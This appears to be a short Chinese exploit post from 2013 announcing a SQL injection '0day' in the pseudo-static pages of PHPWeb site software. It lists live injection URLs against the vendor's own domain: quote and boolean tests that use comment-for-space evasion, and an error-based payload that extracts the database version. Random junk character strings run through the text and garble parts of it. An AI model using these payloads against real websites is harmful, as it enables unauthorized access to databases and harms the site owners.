phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
0 [. H% s* O. A5 d# v
主站：http://phpweb.net/
5 |$ j6 n+ o2 k% ^3 n) f加’检测：

3 b0 B& @5 W5 Q$ ahttp://www.phpweb.net/down/html/?772′.html

/ l( @. g7 ]7 G& u! B出错
存在注入。
不能用空格，只能用/*罗
# h) z  F! \5 b& n3 i8 q, yhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

6 k& H$ S3 h0 d/ ~0 o& F?
  g2 o- G8 e3 g0 P( Y2 W1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50